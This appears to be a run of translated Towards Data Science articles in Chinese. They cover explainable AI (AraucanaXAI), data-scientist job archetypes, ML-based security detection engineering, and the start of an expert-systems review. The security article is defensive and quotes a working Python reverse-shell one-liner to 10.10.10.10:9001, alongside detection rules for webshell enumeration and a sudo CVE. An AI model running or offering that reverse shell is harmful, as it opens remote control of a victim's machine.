黑箱模型与白箱可解释模型。在第一个流程中,蝴蝶被正确分类为昆虫,但模型没有提供其预测的解释。在第二个流程中,模型的内部机制是透明的,我们可以解释为什么蝴蝶被分类为昆虫。对于本质上不透明的模型,一种常见策略是通过训练来模仿黑箱模型的代理白箱模型提供解释。在我们的例子中,这可以表述为:“一个可解释的模型,表现得与黑箱模型完全一致,认为蝴蝶是昆虫,因为它有六条腿。”
模型不可知、事后、局部解释器
在这篇博客文章中,我们将主要关注局部可解释性,特别是模型不可知、事后、局部解释器。模型不可知解释器可以应用于任何机器学习模型,无论其底层算法或架构如何。术语“事后”指的是解释在模型对特定实例做出预测后生成的。简而言之,具有这些属性的解释器可以分析任何模型在特定实例上的决策过程,突出对预测影响最大的特征或输入,而无需修改或重新训练模型。
在撰写时,SHAP [1] 和 LIME [2] 可以说是解释机器学习模型预测的两种最广泛采用的模型不可知技术。
-
SHAP(SHapley Additive exPlanations)基于博弈论和 Shapley 值的概念。它通过为每个预测中的特征分配重要性分数来提供解释,考虑所有可能的特征组合及其对预测的贡献。SHAP 值捕捉了特征在所有可能特征组合中的平均边际贡献,从而提供更准确和一致的解释。
-
LIME(局部可解释模型无关解释)通过在实例的局部邻域创建一个更简单的可解释模型,如线性模型,来近似基础模型在感兴趣预测周围的行为。LIME 通过基于每个特征对局部模型输出的影响来加权特征的重要性,从而解释模型的预测。
SHAP 和 LIME 都有各自的优点和局限性,但两者共有的一个主要局限性是它们通过特征重要性和特征排名来提供解释。特征的重要性只是可解释 AI 这一更广泛和复杂概念的一个方面。例如,在临床领域,处理 AI 驱动工具的医生常常抱怨无法检查和导航模型得出特定决策的推理过程,就像他们处理医疗指南一样。
AraucanaXAI
AraucanaXAI [3] 诞生于解决临床医生对传统 XAI 方法的投诉,但也可以扩展到任何其他需要决策规则的场景。AraucanaXAI 框架提出了一种新颖的方法论,用于生成通用 ML 模型对单个实例的预测解释,使用决策树提供决策过程形式的解释。所提出的 XAI 方法的优点包括对原始模型的改进忠实度、处理非线性决策边界的能力,以及对分类和回归问题的原生支持。
至于 SHAP 和 LIME,AraucanaXAI 同样可以作为一个Python 包轻松通过 PyPI 安装。
## GitHub - detsutut/AraucanaXAI: 基于树的机器学习模型预测的局部解释
日益复杂的学习方法,如提升(boosting)、集成(bagging)和深度学习,已经使 ML 模型更加准确……
它是如何工作的?
算法相对简单。给定单个实例 x:
-
计算 D = dist(x,z) 对于训练集的每个元素 z。默认的距离度量是 Gower 距离,兼容混合类型变量。
-
定义子集 T_n 为最接近 x 的 N 个元素(即 x 的邻域)。
-
使用 SMOTE 过采样(可选)来扩展邻域 T_n。这使得我们要检查的局部区域更加密集和平衡。
-
用黑箱分类器的预测函数f预测的类别y_hat重新标记T_n(或T_n ∪ S,即通过过采样生成的样本)的样本。将解释集E定义为T_n ∪ S ∪ x。请记住,代理模型的目标不是最大化预测性能,而是具有与原始模型相同的预测行为。这就是我们关注y_hat而非y的原因。
-
在E上训练决策树e。可选地,进行剪枝。
-
从根节点到对应于x的叶节点导航e以获取规则集。
AraucanaXAI 算法的逐步可视化。(注:重新标记步骤未显示)
用例示例:ALS 死亡率预测
现在我们对这种新的 XAI 方法了解更多了,我们什么时候使用它?正如本文开头所述,AraucanaXAI 旨在满足临床医生的需求,以可导航的树或一组与指南和既定医学知识易于比较的层次化规则的形式提供解释。
AraucanaXAI 最近被用来提升复杂预测模型,这些模型旨在基于 6 个月的观察预测肌萎缩侧索硬化症(ALS)患者的死亡率。预测 ALS 进展是一个具有挑战性的问题,需要复杂的模型和许多特征,包括通过问卷来分层 ALS 的严重程度。AraucanaXAI 可以帮助临床医生将模型的推理分解为更简单但真实的规则,通常是为了更好地理解模型为何与他们的观点不一致。
例如,在下面的例子中,实际情况表明 ALS 患者将在六个月内死亡,而神经网络则预测相反。AraucanaXAI 突出的规则集可以帮助理解模型的观点:发病日期发生在第一次 ALSFRS-R 问卷提交(T0)前 3 年,进展斜率*于 0.35(即,根据问卷,患者恶化缓慢),诊断日期在 T0 之前超过 8 个月,“翻身和调整床单” 的归一化评分较低。总体而言,这一临床图景并没有那么糟糕,这使得模型认为患者在六个月后仍然会活着。
针对特定 ALS 患者的死亡预测解释,由 SHAP(左)、LIME(中)、和 AraucanaXAI(右)提供
结论与未来工作
尽管同样的策略可以推广到其他领域,但 AraucanaXAI 已经被证明是在医疗保健中针对个体患者的 XAI 的有前途的方法,其中将解释分解为层次化规则为决策者提供了额外的价值。
-
然而,仍然存在一些未解决的局限性。首先,医疗领域产生了越来越多的非结构化数据,但 AraucanaXAI 目前仅处理表格数据。为了在临床实践中使用,AraucanaXAI 需要升级以处理文本和图像,这对医疗机构至关重要。其次,什么构成对用户的“良好”解释目前没有明确的度量标准(这是目前 XAI 文献中已知的空白)以及医生用户本身的直接参与,这需要在设计良好的评估研究中进行。此类研究构成了未来值得追求的工作,具有潜在的好处可以造福可解释的 AI 社区。最后,AraucanaXAI 展示生成的解释的方式依赖于 scikit-learn 的决策树可视化功能,该功能有限,需要改进。
-
如果你有兴趣帮助 AraucanaXAI,查看[GitHub 仓库 并成为贡献者!扩展/改进将得到适当的认可。
参考文献
[1] S. M. Lundberg 和 S.-I. Lee — 统一模型预测解释方法
[2] M. T. Ribeiro, S. Singh 和 C. Guestrin — “我为什么要相信你?”:解释任何分类器的预测
[4] T.M. Buonocore, G. Nicora, A. Dagliati, E. Parimbelli— XAI 在 ALS 6 个月死亡率预测中的评估
如果未另有说明,图片均为作者原创贡献。
- 请在评论区留下你的想法,并分享如果你觉得这有帮助!如果你喜欢我的工作,你现在可以通过为我买杯咖啡来表示支持,几*时的自主时间 ☕
[## Tommaso Buonocore — 博士生 — 大数据与生物医学信息学 — ICS Maugeri SpA Società…
- 生物医学工程师和人工智能爱好者,目前正在研究自然语言处理解决方案,以改善基于医疗的预测任务…
www.linkedin.com](https://www.linkedin.com/in/tbuonocore?source=post_page-----8ee79dabdb1a--------------------------------)
数据科学家角色的原型
数据科学的角色可以非常不同,而职位描述并不总是清晰的。你想戴上什么帽子?
·
关注 发表在 Towards Data Science ·9 min read·2023 年 8 月 23 日
--
图片由 Clem Onojeghuo 提供,发布在 Unsplash
在对我在 Towards Data Science 上关于机器学习工程师的 最近一篇文章 收到积极反馈后,我想写一点我认为数据科学从业者在就业市场中的真实角色分类。虽然我之前讨论的是候选人,比如他们的资格预期和现实情况,今天我想讨论的是实际工作中的日常。
也就是说,这些是我认为招聘数据科学专业人士时实际需要做的工作,不管他们是否承认这一点。我将解释工作的实际内容,与职位描述中的宣称相对比,并大致描述你可能在业务组织图中的位置。
为什么这很重要?
无论我们处于职业生涯的哪个阶段,寻找工作的数据科学家在审阅职位发布和职位描述时都必须看穿表象。职位描述中会有大量的空话和委婉说法,很难判断角色的实际日常工作是什么样的,以及你需要哪些技能才能成功。
了解任务的具体内容也很重要,这样你才能判断这是否是你愿意投入时间做的工作!你可能会发现数据科学这个广泛领域中你更喜欢某些部分,或是想更深入地学习和探讨的内容。如果你最终进入了不适合的角色,你的职业生涯可能会朝着你不希望的方向发展。
我希望这篇文章能帮助你看穿那些职位发布的表象,了解工作实际内容,以便在申请和面试前知道工作真正是什么样的。阅读职位描述时,也要判断所宣传的角色是否真正适合一个人成功完成。如我稍后所述,有时公司会尝试招聘一个数据科学家去做很多工作,这对被聘用的人来说并不可持续或令人愉快。
无论我们处于职业生涯的哪个阶段,寻找工作的数据科学家在审阅职位发布和职位描述时都必须看穿表象。……如果你最终进入了不适合的角色,你的职业生涯可能会朝着你不希望的方向发展。
警告事项
在我们深入讨论之前,我有一些警告/说明要给读者。
-
我的大部分职业生涯都在中型到非常*的科技公司度过,并没有在大科技公司中的个人经验。我咨询了有这种经验的朋友,以获取他们的反馈,所以我希望我的概括在某种程度上适用于任何地方。我可能会有错误。
-
所有这些都是概括性的。我认为这些观点是正确的,但其中有玩笑。请不要对所有内容过于认真,但要认识到我在以我们这个奇怪领域为笑料。
-
我稍后会再提到这一点,但请记住,这些只是原型,而不是“某人职位描述的确切文本。”原型对我们分组事物很有用,但现实生活中会有例外、混合情况和其他边缘案例。
现在,让我们开始讨论数据科学家的原型吧!
数据分析大师
我从最被低估和不被欣赏的角色——分析开始。你在那里帮助公司弄清楚他们是否达到了目标,以及事情是否按照预期运作。这是非常重要的,也极其模糊和难以实际执行。你可能每天要做很多事情,比如构建仪表板,分析销售和产品成功等,也可能还要查看内部表现(比如员工流失等)。有些人会认为你的工作只是“给我做一个仪表板”,但即使你在做仪表板,你也会花大量时间考虑仪表板中应该测量什么,它是否应该存在,以及如何计算实际与目标对齐的指标。
在前一个十年,你可能被称为运营分析师或 BI 专家(或者现在有时你也可能被这样称呼)。你需要处理大量来自奇怪来源的数据,并且你会使用大量的 SQL。除非涉及到像反馈回应中的 NLP 这样的内容,否则你不会做太多机器学习。如果你在分析产品效果,你将进行大量的 A/B 测试。你可能在市场部门或独立的分析部门,但来自公司各个部门的人可能都会向你索要“数字”。
功能构建者
你则是在这里让产品变得更好,理想情况下,通过某种 DS/ML 魔法。你的高管们可能希望能够说你的产品包含 AI,即使你只是有一个推荐引擎在产品中显示建议,或者对搜索结果进行排序。如果你运气好,你可能会有机会构建创新功能和为产品添加酷炫的东西——但如果你在从空白页和模糊任务开始时表现不好,这可能不是适合你的地方。
你需要了解客户和行业,以便你可以构建有用的东西,而不仅仅是酷炫的东西。你应该倾听客户的声音,与面向客户的部门交流,但很多时候这个角色的人不会这样做。(这是个不好的选择。)你可能会进行自己的 A/B 测试,或者这可能会交给分析专家。你绝对需要分析专家(或者与他们重叠)来评估你构建的东西是否有价值。你使用 Python 工作。你可能在产品部门,但你会经常与工程部门沟通。
基础设施构建者
稍微相关一些,我认为这个角色更适合称为 ML 工程师——你会被要求制作将新模型接入产品的管道,以便搜索结果按相关性排序,或新的*部件为合适的人群呈现,或者其他类似的功能。有时你会参与模型本身的工作,但不是很频繁(除非模型出现问题并且你接到通知——你是最有可能有待命轮班的那种数据科学家)。扩展和并行化对你来说很重要,你需要对延迟和滞后产生深厚的兴趣,所以要习惯这一点。
你的日常工具包括 Docker、产品编写所用的任何语言以及 Python,因为你需要将特征构建者所做的东西集成到产品中。某种观察工具在你的书签中也很高。你可能是在工程部门,或者可能是开发运*部门。
仅限内部
在你进入大公司之前,这种情况并不常见,但你是一个为公司内部其他部门构建 ML 工具的人。这和特征构建者并没有太大不同,只不过你制作的模型仅供公司内部使用,以使事情运作得更好。你的客户是公司内部的其他员工,而不是为公司支付商品/服务费用的外部客户。因此,你不需要对外部客户了解太多,但你会对公司组织结构非常了解。
要成功,找出你同事们需要做的那些烦人的重复工作,并将其自动化/训练模型来代替他们完成。如果你这样做了,你会非常受欢迎。有时候,你创建的东西可能会开源,并最终变成像 Airflow 或 H3 这样的产品。你可能是在工程领域工作。
研究员
你是一个罕见的角色,被雇佣来进行纯粹的研究。也许你会撰写学术文章,提高公司知名度,或者类似的事情,但他们并不期望这个角色自负盈亏。这个角色可能属于 CEO 的特别项目或类似的范畴。你会收到一些网上看到的看起来很酷的想法,并被要求搞清楚这些想法的内容,以及公司如何在这个领域做出一些事情。你会被标记在所有关于 LLM 的 Slack 对话中。这是整个帖子中唯一一个可能需要博士学位的角色。
解决方案工程师
与其为你的公司建立数据科学功能,不如为你的客户建立这些功能。这包括数据科学咨询工作,虽然涉及数据科学的软件开发和销售公司也是这个角色常见的场所。如果你的客户需要专门的 DS/ML 人才来充分利用你的产品,那么公司很可能会有这些角色。
你可能会被要求参加客户电话会议,当他们试图向某人推销你产品或服务中的 AI 高科技元素时,因为销售团队不太擅长回答技术问题。你拥有一个相当多样化的技术栈技能,因为你的客户可能会带来各种奇怪的东西让你协助解决/构建,这实际上可能很有趣。你需要了解行业,像功能构建者一样,同时还要能够在与客户互动时表现得得体和耐心。因为你花时间与客户互动,你可能会在客户成功或销售部门。
最后我们来到了…
面面俱到的角色
这个角色似乎将这些工作的各种部分混合在一起,往往以杂乱的方式进行,招聘经理可能没有意识到这实际上是三或四个工作,或者他们希望能说服某人用一个薪水做所有这些事情。薪水可能低于你需要完成的工作。这在没有现有数据科学职能的组织中很常见,他们正在招聘首位数据科学人员。这可能是通过实际操作学习大量知识的机会,但可能不会有技术能力更强的人在身边教你,所以你的 Google/StackOverflow/其他搜索技能需要非常出色。如果你不喜欢自学新东西,这个角色可能会很困难且孤立。正如我的一个朋友所说,“你会是公司中在你擅长领域最优秀的人,但这并不意味着你擅长这些事情。”由于缺乏指导/帮助,倦怠是一个真实的风险。
但实际上…
明确来说,大多数 DS/ML 职位将包含这几种角色的部分内容,或者更多。记住,我之前告诉你这些是原型,而不是“我的职位描述”。(实际上,我自己的工作并不完全符合这些类别中的任何一个。)
明确来说,大多数 DS/ML 职位将包含这几种角色的部分内容,或者更多。
两种角色分割的例子:
-
产品分析数据科学家:分析大师与功能构建者的结合体。构建功能,进行所有自己的分析,并且还要分析其他功能/人们正在构建的东西。
-
全栈机器学习数据科学家:功能构建者和基础设施构建者。你不仅要建立模型,还要建立为模型服务的管道。
如果你在一个角色中涉及到三种或更多不同的原型,我认为这就太分散了。例如,一个人不能成功地扮演分析专家、功能构建者和基础设施构建者,这样的角色实在是太多了,难以兼顾。公司越*,你就越可能需要承担额外的职责,但要认识到这些是不同的职能,过多的职责可能会让你分身乏术。
一些额外的注意事项
我认为,随着你在 DS/ML 职业生涯中的资历上升,你会承担更多的角色,“我的工作是什么”的界限也会变得模糊。你会发展出在业务不同部分都有用的专业知识和经验,人们会来寻求你的意见。
此外,我在这里没有真正讨论战略或规划,但随着你的资历增加,你也会更多地参与这些事务。即使作为个人贡献者,你的经验也是有价值的——你可能以前见过类似的想法或问题。你应该对如何解决这些问题提出意见,即使负责的人选择了不同的方式。这只是高级职位工作的一部分。
我在这里没有真正讨论战略或规划,但随着你的资历增加,你也会更多地参与这些事务。
我希望这能帮助那些在找工作的人或刚刚进入这个领域的学生,更清楚地了解你们将要面对的情况。如果你在招聘网站上发现一个极端的“全能型”角色的例子,可以发给我或在评论中贴上链接。也许我可以在未来做一个关于最糟糕例子的帖子,并对其进行剖析,为大家提供一些娱乐!
你可以在 www.stephaniekirmer.com 上找到我的更多作品。
人工智能驱动的安全运营架构,具有低误报率
本文讨论了在应对网络安全需求时建立生产就绪的机器学习解决方案的思路
·
关注 发表于 Towards Data Science ·12 min 阅读·Apr 21, 2023
--
图 1. NL2Bash 数据 上的异常。 代码。安全分析人员希望在他们的仪表盘上避免看到这幅图片。作者提供的图片。
即使在今天,在一个使用了数十年的教育系统的完整性被 LLMs 侵蚀,并且 我们(终于)开始担忧 AGI 带来的 存在主义恐惧 的世界里,人工智能(AI)系统在非传统数据科学领域的适用性远未达到未来的里程碑,并且需要一种独特的方法。
在本文中,我们将进行关于 AI 在 网络安全 中适用性的概念讨论,为什么 大多数应用程序失败,以及 什么 方法实际上 有效。从推测的角度来看,所提供的方法和结论可以转移到其他具有低误报要求的应用领域,特别是那些依赖系统日志推理的领域。
我们将 不会 涉及 如何 在与信息安全相关的数据上实施机器学习(ML)逻辑。我已经在以下文章中提供了带有代码示例的功能实现:
-
基于幂律分布的企业安全遥测异常检测工程;
-
Shell 语言处理:在 Linux auditd 日志中使用 TF-IDF 和哈希编码进行入侵检测;
签名
即使在今天,成熟的 安全 状态的 根本 和 最有价值 的组成部分仍然是有针对性的 签名规则。像下面示例的启发式,是我们防御的一个重要部分:
parent_process == "wmiprvse.exe"
&&
process == "cmd.exe"
&&
command_includes ("\\\\127.0.0.1\\ADMIN")
老实说,像这样的规则非常好。这只是一个例子,(简化版) 逻辑 由红色金丝雀共享 用于通过 WMI 进行横向移动检测,可以通过像 impacket 这样的工具实现。绝不要关闭这样的规则,并继续不断增加!
但是这种方法存在漏洞...
这就是为什么每个首席信息安全官(CISO)时不时会花费资金、人力和时间资源在一个通过“机器学习”的魔力来解决安全问题的解决方案上。通常,这看起来像是一个投资回报低的兔子洞:(1)安全分析师的仪表盘亮得像圣诞树一样,见上图 Figure 1;(2)分析师感到警报疲劳;(3)ML 启发式被禁用或仅被忽略。
通用 vs. 狭义启发式
首先让我提请你注意 狭义 和 通用 智能的概念,因为这直接影响到安全启发式。
智能,广义上说,是实现目标的能力。人类被认为具有一般智能,因为我们能够“归纳”并实现那些在自然选择和遗传驱动的环境中不需要达到的目标,比如登月。
虽然归纳允许我们的物种征服了世界,但有些实体在某些狭窄任务上的表现远胜于我们。例如,计算器在算术方面比最聪明的我们如冯·诺依曼更为优秀,或者松鼠(!)在记忆去年隐藏的橡实位置方面显著超过人类。
图 2. 智能的示意图。图片由作者提供。
我们可以以类似的方式推理安全启发式方法。有些规则高度关注特定工具或 CVE,而有些规则尝试检测更广泛的技术集。例如,考虑这一检测逻辑,专注于sudo
权限提升,利用CVE-2019–14287:
CommandLine|contains: ' -u#'
相反,这个 webshell 检测规则(以隐去形式复制)尝试实现更广泛的逻辑:
ParentImage|endswith:
- '/httpd'
- '/nginx'
- '/apache2'
...
&&
Image|endswith:
- '/whoami'
- '/ifconfig'
- '/netstat'
它定义了一种更复杂的行为启发式方法,将常见 HTTP 服务器的父进程映射到枚举活动上。
类似于上述的智能景观,我们可以通过将检测规则映射到攻击技术、工具和程序(TTPs)的景观来可视化安全态势,如下所示:
图 3. 您的安全态势的示意图。注意漏洞,不要自满——您有更多漏洞。图片由作者提供。
假阳性与假阴性
Sudo CVE 规则仅检测一个特定技术,而忽略了所有其他(假阴性率极高)。相反,webshell 规则可能检测到一系列攻击性技术和来自 Kali Linux 工具箱的 webshell 工具。
显而易见的问题是——那么,为什么我们不使用几个广泛的行为规则来覆盖所有可能的 TTP?
因为它们带来假阳性……很多。
在这里,我们观察到假阳性与假阴性权衡。
尽管大多数组织可以直接复制粘贴 sudo CVE 规则并立即在他们的 SIEM 中启用,但 webshell 规则可能会在“仅监控”模式下运行一段时间,同时安全分析师会过滤掉他们环境中观察到的所有合法触发。
通过构建检测,安全工程师试图回答什么是 m̶a̶l̶i̶c̶i̶o̶u̶s̶̶ 不代表其环境的。
他们可能会看到系统管理员创建的自动化警报,这些警报会运行一个 REST API 请求,触发其中一个枚举操作,或者是一个 Ansible shell 脚本,当其部署时,会创建奇怪的父子进程关系。最终,我观察到广泛的行为规则变成了包含几十个排除项的列表,每月的编辑次数比活动代码库还要多。这就是为什么安全工程师在规则的广泛性和保持尽可能低的误报率之间做平衡。
机器学习作为安全启发式方法的失败
在这里,安全专业人员开始寻找替代技术来实施行为启发式。机器学习实现的要求是 a priori 宽泛的。鉴于机器学习算法的适用性,安全专业人员的直觉往往会引导他们走向无监督学习。我们要求人工智能 捕捉网络中的异常,对 异常命令行 发出警报,等等。这些任务处于“为我解决安全问题”的泛化水平。因此,生产环境中表现不佳也就不足为奇了。
实际上,机器学习往往正是按照我们要求的方式执行。它可能会报告一个异常的elevator.exe 二进制文件,这个文件是 IntelliJ 首次用来更新自身的,或者是一个新的 CDN,Spotify 开始使用以便更新,其延迟与 Command and Control 回调的抖动延迟完全一致。还有成百上千个类似的行为,这些行为在那一天都显得异常。
在监督学习的情况下,如果能够组装大量标记的数据集,例如 恶意软件检测,我们确实能够建立像 EMBER 这样的定性建模方案,这些方案能够很好地泛化。
但即使在这些解决方案中——现代人工智能模型在信息安全领域仍然没有足够广泛的背景来解析“灰色”区域。例如,我们应该将 TeamViewer 视为好还是坏?许多中*型企业将其用作廉价的 VPN。同时,一些中*型企业也是 勒索软件组织,利用这些工具对目标网络进行后门攻击。
机器学习作为安全启发式方法的成功
基于 ML 的启发式方法应遵循与基于规则的检测相同的理念——专注于特定的恶意 TTP 集。要在安全领域应用 AI —— 实际上你需要对安全有一些知识和直觉,抱歉数据科学家们。¯_(ツ)_/¯ 至少在今天,直到 LLM 实现广泛的泛化,它们可以协同解决安全挑战(以及许多其他任务)。
例如,与其要求命令行中的异常(并得到如本文图 1 所示的 634 个异常结果),不如要求围绕特定攻击技术的超出基线的活动——例如,异常的 Python 执行 (T1059.006) 和 哇! —— 在 相同 的 ML 算法、预处理和建模技术下,我们仅得到一个异常,即 Python 反向 shell:
图 4. Python 异常在 NL2Bash 数据集中由于恶意技术的扩展。异常报告 Python 反向 shell。代码。图片由作者提供。
有效的无监督 Unix 重点技术示例:
-
异常的 python/perl/ruby 进程(通过脚本解释器执行,T1059.006);
-
异常的 systemd 命令(通过 systemd 进程持久化,T1543.002);
-
高严重性跳板机的异常 ssh 登录源 (T1021.004)。
有效的无监督 Windows 重点技术示例:
-
在域控制器、MSSQL 服务器上登录的异常用户 (T1021.002);
-
加载 NTDLL.DLL 的异常进程 (T1129);
-
异常的 RDP 客户端和服务器组合的网络连接 (T1021.001)。
功能性监督 ML 基线示例:
-
反向 shell 模型:从已知方法生成数据集中的恶意部分(可以参考 类似生成器);使用环境遥测中的进程创建事件作为数据集的合法对照。
-
与其在思*中建立具有对抗混淆的稳健规则,如下图 5 所示(剧透:你不会成功),不如建立一个单独的 ML 模型,将混淆检测作为一种独立技术。这是 Mandiant 关于此主题的好文章。
图 5. 简单 cmd.exe 命令行混淆的示例。图片由作者提供。
机器学习是签名逻辑的扩展
为了系统化上述示例,成功应用机器学习启发式方法包括这两个步骤:
-
缩*输入数据范围,使其尽可能精确地捕捉特定 TTP 生成的遥测数据;
-
定义尽可能少的*度来寻找偏离基线的活动(例如,仅查看process.image的逻辑会比同时查看parent.process.image和process.args的逻辑产生更少的警报)。
上述步骤 1实际上是我们创建签名规则的方法。
你是否记得我们上面讨论过在启用 Web Shell 规则之前,“安全分析师过滤掉代表其环境的所有触发器”?这就是步骤 2。
在前面的例子中,一个人建立了合法活动和恶意活动之间的决策边界。这实际上是当代机器学习算法擅长的领域。机器学习启发式方法可以减轻手动过滤大量接近特定 TTP 的合法活动的负担。因此,机器学习允许以更少的工作构建比签名规则更广泛的启发式方法。
机器学习只是实现相同目标的另一种方式,是签名的扩展。
瑞士奶酪模型
现在我们准备勾勒出一个整体的愿景。
传统的检测工程方法是尽可能多地堆叠签名规则,而不至于溢出SOC仪表盘。这些规则中的每一个都有较高的假阴性率(FNR)但较低的假阳性率(FPR)。
我们可以进一步继续堆叠具有相同 FPR 要求的机器学习启发式方法——它必须保持低 FPR 以保护唯一的瓶颈:人工分析师的注意力。机器学习启发式方法通过引入更通用的行为逻辑来弥补基于规则的检测中的空白,而不会显著消耗安全工程师的时间资源。
如果你已经覆盖了大多数容易解决的问题并希望深入行为分析,可以在已有基础上引入深度学习逻辑。
图 6. 展示了使用不同技术实现相同目标的安全启发式的协作工作全景图。
记住奥卡姆剃刀原则,并尽可能简单地实现每个新启发式方法。除非签名规则无法定义可靠的基线,否则不要使用机器学习。
这个模型中的每一片段都应该有低假阳性率。你可以忽略高假阴性数量——为解决这个问题,只需添加更多片段。
例如,在上面的异常 Python 执行示例中——Python 参数在你的环境中可能仍然变化太大,会导致过多的异常活动警报。你可能需要进一步缩*范围。例如,仅捕捉命令行中包含-c
的进程,以查找作为 Python 二进制文件参数传递的代码,从而只专注于像这样的 Python 反向 shell 技术:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
由于我们降低了假阳性率(FPR),因此我们增加了假阴性。因此,你可能会错过执行具有不寻常名称的 Python 脚本,例如python fake_server.py
,攻击者可能会使用这些脚本来伪装成合法服务。为此,你可能需要创建一个专注于这一子集 TTPs 的单独启发式方法,但它自身的 FPR 较低。
元检测层
值得注意的是,即使遵循瑞士奶酪方法论,你也会得到冗长的启发式方法。通常,这些方法不代表先验的恶意性,但会关注上下文。
例如,从新源登录到高严重性主机的 SSH/RDP 并不是坏事(可能只是新员工或工作站),以及执行whoami /all
在熟练用户中可能很常见。因此,这两种启发式方法都不适合直接触发警报。然而,这两者的组合可能值得分析师关注。
解决这一困境的方法是在这种冗长的规则之上引入额外的逻辑,以产生“真正的正面结果”。我们可以称之为元检测层。
图 7. 包括专门解析冗长但有用规则的警报设置示意图。
应用于规则激活之上的元逻辑可能有所不同,但通常涉及两个步骤:
-
“按组”对所有由“实体”触发的事件进行分组,例如主机、用户名、源 IP、cookie 等。
-
对某个时间段内的激活应用“聚合函数”。
简单而有效的元检测逻辑示例:
-
只需计算来自单一实体(例如单一主机或用户)的不同规则触发次数,并报告是否超过阈值,例如在三*时内触发三条不同规则;
-
如上所述,但根据严重性对规则应用加权和,例如,“关键”规则计为 3,“中等”计为 2,“信息”计为 1——如果超过阈值则报告,例如总和 > 6;
存在更复杂的方法,例如在以下 AISec ’22 出版物中定义的方法,其中我在恶意软件表示上使用了第二层机器学习(ML)。这些方法应根据特定的应用和环境进行调整,因为数据特性、遥测量和基础设施规模可能需要不同的方法以保持在可接受的警报限度内。
结论
在本文中,我们讨论了在签名方法之外扩展安全操作工具库的思*模式。大多数实现都未能正确完成此操作,因为安全专业人员通过机器学习(ML)定义了过于广泛的行为启发式要求。
我们认为,正确的应用应该由攻击性技术、战术和程序(TTPs)驱动。在适当使用的情况下,机器学习技术可以节省大量的人力资源,有效地过滤出围绕特定 TTPs 的合法活动基线。
一个成熟且成功的安全姿态将结合签名和行为启发式,其中每个单独的检测逻辑都有低假阳性率,而缺失的假阴性被并行堆叠的多个启发式算法所弥补。
本文中的示例包括如果应用于传统安全操作的检测工程案例。然而,我们认为,经过有限修改的相同方法在其他安全应用中也会有用,例如 EDR/XDR 启发式空间、网络流量分析和计数。
附录
技术说明:在固定假阳性率下估算检测率
这是一个关于如何在生产环境中评估行为机器学习启发式算法效用的通知及代码示例。
数据科学家——忘记准确率、F1评分和AUC——这些对安全解决方案的生产准备性几乎没有信息。这些指标可以用来推理多个解决方案的相对效用,但不是绝对值。
这是因为安全遥测中的基准率谬误——基本上,你的模型看到的所有数据都是良性样本(直到它不是,这才是重要的)。因此,即使是0.001%的假阳性率,如果你的启发式算法每天执行 10 000 次检查,也会带来每天 10 个警报。
你模型的唯一真实价值可以通过查看在固定假阳性率(FPR)下的检测率(即真实阳性率,TPR)来估算。
请考虑下图——x-轴表示数据样本的真实标签。它要么是恶意的,要么是良性的。在y 轴上是模型的概率预测——它认为样本有多糟糕:
图 7. 在扩展的NL2Bash数据上的预测分布。代码。图片由作者提供。
如果你只能接受一个假警报,你必须将模型的决策阈值设置在大约0.75(虚线红色线),稍高于第二个假阳性。因此,模型的实际检测率大约是50%(虚线几乎与箱线图的均值重合)。
在给定有y_true(真实标签)和preds(模型预测)的情况下,可以通过下面的代码示例来评估在可变假阳性率下的检测率:
专家系统是否已经过时?
对近期趋势、使用案例和技术的回顾
·
关注 发表在 Towards Data Science ·12 分钟阅读·2023 年 3 月 16 日
--
引言
每个人都在谈论机器学习。这不仅仅是一种感觉:如果你在 Google 上搜索“机器学习”,你将获得近 7 亿条结果。但专家系统呢?传统上,它是 AI 的另一面。好吧,Google 至少返回了大约 700 万条结果,但这两个概念之间存在明显差距。这种不匹配也适用于 Google 搜索趋势:尽管机器学习(橙色线)的兴趣近年来显著增加,但可以得到的印象是专家系统(蓝色线)似乎已经被遗忘了。
Google 搜索趋势百分比(作者,数据来源于 Google)
所以这是否只是 AI 进化的结果(适者生存,希望不是“过于适者”……对不起,那个 AI 笑话;-)?专家系统真的过时了吗?还是在某些研究领域中,专家系统仍有存在的空间?我认为收集和分享一些发现和经验,以便为专家系统提供立场,是有意义的!
内容:
-
什么是专家系统?
-
专家系统在专题研究中是否相关?
-
专家系统的应用案例有哪些?
-
开发专家系统的现代技术有哪些?
什么是专家系统?
专家系统(ES)是一种软件,至少由一个知识(数据)库、一个与领域相关的规则集和一个能够推断新公理的推理引擎组成。之所以称之为 ES,是因为它在特定领域的表现类似于人类专家,例如能够回答与其专业领域相关的棘手问题。从应用角度来看,ES 有两类主要用户:a)持续审查和修改知识库的人类专家;b)寻求领域相关问题答案的最终用户。与通常称为“黑箱 AI”的深度学习方法相比,ES 的结果总是透明的:推理引擎通常提供逐步的结果解释,用户能够理解其逻辑结构。
专家系统在专题研究中是否相关?
为了澄清这个问题,如果专家系统确实已经过时,值得查看一下使用或至少提及专家系统的文献数量。为此,我在 Google Scholar 上做了一个简单的搜索,检查了 2005 年至 2022 年间包含“专家系统”术语的出版物数量。让我们提出以下工作假设:在选定的年份中,专家系统的出版趋势是负面的(以确认“专家系统已经过时”)。
现在让我们来看看数据显示了什么。我制作了一张图表,显示了每个时间段的出版物绝对数量和趋势线。该图表清楚地显示出出版趋势仍然是积极的。尽管文献检索非常高级且嘈杂,但我的期望是,如果该术语已经过时,ES 在专题文章中不会被提及;所以我们可以拒绝上述的假设。我们可以推断出 ES 仍然是重要的,并在研究中发挥着关键作用。
专家系统的研究趋势(作者)
专家系统的使用案例是什么?
那么,开发和提出专家系统的这些专题研究学科是什么?它们为哪些领域提供服务?它们满足哪些要求?专家系统在这些项目中的主要价值是什么?当然,这些都是通过系统文献综述来回答的重要问题,但现在,我只会展示三个已选项目,以展示专家系统的广度。
网络安全
ES 可以用于 IoT 生态系统的自动化安全评估。Rak 等人(2022)提出了一个专家系统,为每个识别的威胁生成威胁模型和攻击计划列表。专家系统提供的结果可以供渗透测试人员对目标 IoT 基础设施进行系统安全测试。
项目管理
Bhattacharya 等人(2022)提出了一个用于在复杂的监管和技术实施项目中进行决策的专家系统。例如,该专家系统验证项目是否满足启动条件,并根据项目类型和复杂性来定制项目计划。
临床决策支持
Chrimes(2023)提出了一个用于支持 COVID-19 临床决策的专家系统。该专家系统通过与用户进行交互(通过聊天机器人)来确定 COVID-19 感染的潜在严重程度或可能导致严重病例发展的生物系统反应和共病症。
专家系统的现代技术
